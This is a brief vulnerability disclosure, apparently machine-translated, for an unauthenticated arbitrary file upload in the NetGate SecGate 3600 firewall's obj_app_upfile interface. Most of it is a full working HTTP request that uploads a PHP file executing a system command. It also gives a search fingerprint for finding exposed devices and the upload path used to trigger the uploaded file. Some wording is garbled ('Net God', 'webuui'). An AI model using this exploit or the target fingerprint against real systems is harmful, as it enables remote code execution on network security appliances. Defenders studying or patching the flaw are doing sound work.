Netgate Secgate 3600 Firewall Obj_app_upfile Any File Upload Vulnerability

NetGate SecGate 3600 Firewall obj_app_upfile Any file upload vulnerability

Vulnerability Description

NetGate 3600 Firewall Obj_app_upfile interface has any file upload vulnerability. The attacker can obtain server permissions by constructing a special request package.

Vulnerability Impact

Net God SecGate 3600 Firewall

Network surveying and mapping

fid=”1Lh1LHi6yfkhiO83I59AYg==”

Vulnerability reappears

Login page

Files with vulnerability webuui/modules/object/app.mds

The file call is not authenticated in the code, and the file upload path is an accessible path, causing any file upload

POST /?g=obj_app_upfile HTTP/1.1
Host: 
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 574
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)

------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="upfile"; filename="vulntest.php"
Content-Type: text/plain

<?php system("id");unlink(__FILE__);?>

------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundaryJpMyThWnAxbcBBQc--

The default upload path /secgate/webuui/attachements/ is accessed to the attachments/xxx.php file